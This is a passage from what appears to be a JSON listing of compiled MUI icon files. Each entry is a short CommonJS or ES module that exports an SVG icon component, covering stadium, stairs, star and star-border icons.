    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 19.99 7.5-7.51 4 4 7.09-7.97L22 9.92l-8.5 9.56-4-4-6 6.01zm1.5-4.5 6-6.01 4 4L22 3.92l-1.41-1.41-7.09 7.97-4-4L2 13.99z\"\n}), 'StackedLineChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StackedLineChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 19.99 7.5-7.51 4 4 7.09-7.97L22 9.92l-8.5 9.56-4-4-6 6.01zm1.5-4.5 6-6.01 4 4L22 3.92l-1.41-1.41-7.09 7.97-4-4L2 13.99z\"\n}), 'StackedLineChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stadium.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5 3 7V3zm11-2v4l4-2zm-7-1v4l4-2zm-6 8.04c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04M15 17H9v4.88c-4.06-.39-7-1.54-7-2.88v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.34-2.94 2.48-7 2.87z\"\n}), 'Stadium');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stadium.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5 3 7V3zm11-2v4l4-2zm-7-1v4l4-2zm-6 8.04c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04M15 17H9v4.88c-4.06-.39-7-1.54-7-2.88v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.34-2.94 2.48-7 2.87z\"\n}), 'Stadium');"
  },
  {
    "path": "packages/mui-icons-material/lib/StadiumOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5 3 7V3zm11-2v4l4-2zm-7-1v4l4-2zm2 16h-2v4c-5.05-.15-9-1.44-9-3v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.56-3.95 2.85-9 3zm-8-7.96c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04m15 1.76c-1.82.73-4.73 1.2-8 1.2s-6.18-.47-8-1.2v6.78c.61.41 2.36 1.01 5 1.28V16h6v3.86c2.64-.27 4.39-.87 5-1.28z\"\n}), 'StadiumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StadiumOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5 3 7V3zm11-2v4l4-2zm-7-1v4l4-2zm2 16h-2v4c-5.05-.15-9-1.44-9-3v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.56-3.95 2.85-9 3zm-8-7.96c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04m15 1.76c-1.82.73-4.73 1.2-8 1.2s-6.18-.47-8-1.2v6.78c.61.41 2.36 1.01 5 1.28V16h6v3.86c2.64-.27 4.39-.87 5-1.28z\"\n}), 'StadiumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StadiumRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.11 5.45 3.72 6.64C3.39 6.8 3 6.56 3 6.19V3.81c0-.37.39-.61.72-.45L6.1 4.55c.37.19.37.71.01.9M18 3.81v2.38c0 .37.39.61.72.45l2.38-1.19c.37-.18.37-.71 0-.89l-2.38-1.19c-.33-.17-.72.07-.72.44m-7-1v2.38c0 .37.39.61.72.45l2.38-1.19c.37-.18.37-.71 0-.89l-2.38-1.19c-.33-.17-.72.07-.72.44m-6 7.23c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04M14 17h-4c-.55 0-1 .45-1 1v3.88c-4.06-.39-7-1.54-7-2.88v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.34-2.94 2.48-7 2.87V18c0-.55-.45-1-1-1\"\n}), 'StadiumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StadiumRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.11 5.45 3.72 6.64C3.39 6.8 3 6.56 3 6.19V3.81c0-.37.39-.61.72-.45L6.1 4.55c.37.19.37.71.01.9M18 3.81v2.38c0 .37.39.61.72.45l2.38-1.19c.37-.18.37-.71 0-.89l-2.38-1.19c-.33-.17-.72.07-.72.44m-7-1v2.38c0 .37.39.61.72.45l2.38-1.19c.37-.18.37-.71 0-.89l-2.38-1.19c-.33-.17-.72.07-.72.44m-6 7.23c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04M14 17h-4c-.55 0-1 .45-1 1v3.88c-4.06-.39-7-1.54-7-2.88v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.34-2.94 2.48-7 2.87V18c0-.55-.45-1-1-1\"\n}), 'StadiumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StadiumSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5 3 7V3zm11-2v4l4-2zm-7-1v4l4-2zm-6 8.04c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04M15 17H9v4.88c-4.06-.39-7-1.54-7-2.88v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.34-2.94 2.48-7 2.87z\"\n}), 'StadiumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StadiumSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5 3 7V3zm11-2v4l4-2zm-7-1v4l4-2zm-6 8.04c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04M15 17H9v4.88c-4.06-.39-7-1.54-7-2.88v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.34-2.94 2.48-7 2.87z\"\n}), 'StadiumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StadiumTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10.04c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04m15 1.76c-1.82.73-4.73 1.2-8 1.2s-6.18-.47-8-1.2v6.78c.61.41 2.36 1.01 5 1.28V16h6v3.86c2.64-.27 4.39-.87 5-1.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5 3 7V3zm11-2v4l4-2zm-7-1v4l4-2zm2 16h-2v4c-5.05-.15-9-1.44-9-3v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.56-3.95 2.85-9 3zm-8-7.96c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04m15 1.76c-1.82.73-4.73 1.2-8 1.2s-6.18-.47-8-1.2v6.78c.61.41 2.36 1.01 5 1.28V16h6v3.86c2.64-.27 4.39-.87 5-1.28z\"\n}, \"1\")], 'StadiumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StadiumTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10.04c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04m15 1.76c-1.82.73-4.73 1.2-8 1.2s-6.18-.47-8-1.2v6.78c.61.41 2.36 1.01 5 1.28V16h6v3.86c2.64-.27 4.39-.87 5-1.28z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5 3 7V3zm11-2v4l4-2zm-7-1v4l4-2zm2 16h-2v4c-5.05-.15-9-1.44-9-3v-9c0-1.66 4.48-3 10-3s10 1.34 10 3v9c0 1.56-3.95 2.85-9 3zm-8-7.96c1.38.49 3.77.96 7 .96s5.62-.47 7-.96C19 9.86 16.22 9 12 9s-7 .86-7 1.04m15 1.76c-1.82.73-4.73 1.2-8 1.2s-6.18-.47-8-1.2v6.78c.61.41 2.36 1.01 5 1.28V16h6v3.86c2.64-.27 4.39-.87 5-1.28z\"\n}, \"1\")], 'StadiumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stairs.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 5h-2.42v3.33H13v3.33h-2.58V18H6v-2h2.42v-3.33H11V9.33h2.58V6H18z\"\n}), 'Stairs');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stairs.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 5h-2.42v3.33H13v3.33h-2.58V18H6v-2h2.42v-3.33H11V9.33h2.58V6H18z\"\n}), 'Stairs');"
  },
  {
    "path": "packages/mui-icons-material/lib/StairsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 3h-4.42v3.33H11v3.33H8.42V16H6v2h4.42v-3.33H13v-3.33h2.58V8H18z\"\n}), 'StairsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StairsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 3h-4.42v3.33H11v3.33H8.42V16H6v2h4.42v-3.33H13v-3.33h2.58V8H18z\"\n}), 'StairsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StairsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 5h-1.42v3.33H13v3.33h-2.58l.03 3.34H7c-.55 0-1-.45-1-1s.45-1 1-1h1.42v-3.33H11V9.33h2.58V6H17c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'StairsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StairsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 5h-1.42v3.33H13v3.33h-2.58l.03 3.34H7c-.55 0-1-.45-1-1s.45-1 1-1h1.42v-3.33H11V9.33h2.58V6H17c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'StairsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StairsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm15 5h-2.42v3.33H13v3.33h-2.58V18H6v-2h2.42v-3.33H11V9.33h2.58V6H18z\"\n}), 'StairsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StairsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm15 5h-2.42v3.33H13v3.33h-2.58V18H6v-2h2.42v-3.33H11V9.33h2.58V6H18z\"\n}), 'StairsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StairsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm-1 1h-4.42v3.33H11v3.33H8.42V16H6v2h4.42v-3.33H13v-3.33h2.58V8H18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 3h-4.42v3.33H11v3.33H8.42V16H6v2h4.42v-3.33H13v-3.33h2.58V8H18z\"\n}, \"1\")], 'StairsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StairsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm-1 1h-4.42v3.33H11v3.33H8.42V16H6v2h4.42v-3.33H13v-3.33h2.58V8H18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 3h-4.42v3.33H11v3.33H8.42V16H6v2h4.42v-3.33H13v-3.33h2.58V8H18z\"\n}, \"1\")], 'StairsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Star.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'Star');"
  },
  {
    "path": "packages/mui-icons-material/lib/Star.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17.27 18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\"\n}), 'Star');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorder.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorder');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorder.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorder');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarBorderPurple500');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM12 2l-2.42 8H2l6.17 4.41L5.83 22 12 17.31 18.18 22l-2.35-7.59L22 10h-7.58z\"\n}), 'StarBorderPurple500');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderPurple500Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderPurple500Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM9.58 10H5.12c-.97 0-1.37 1.25-.58 1.81l3.64 2.6-1.43 4.61c-.29.93.79 1.68 1.56 1.09l3.69-2.8 3.69 2.81c.77.59 1.85-.16 1.56-1.09l-1.43-4.61 3.64-2.6c.79-.57.39-1.81-.58-1.81h-4.46l-1.47-4.84c-.29-.95-1.63-.95-1.91 0z\"\n}), 'StarBorderPurple500Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L12 14.79l-2.42 1.84.93-3.01L8.24 12h2.82zM9.58 10H5.12c-.97 0-1.37 1.25-.58 1.81l3.64 2.6-1.43 4.61c-.29.93.79 1.68 1.56 1.09l3.69-2.8 3.69 2.81c.77.59 1.85-.16 1.56-1.09l-1.43-4.61 3.64-2.6c.79-.57.39-1.81-.58-1.81h-4.46l-1.47-4.84c-.29-.95-1.63-.95-1.91 0z\"\n}), 'StarBorderPurple500Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 9.24-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28z\"\n}), 'StarBorderPurple500Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StarBorderPurple500Sharp.mjs",
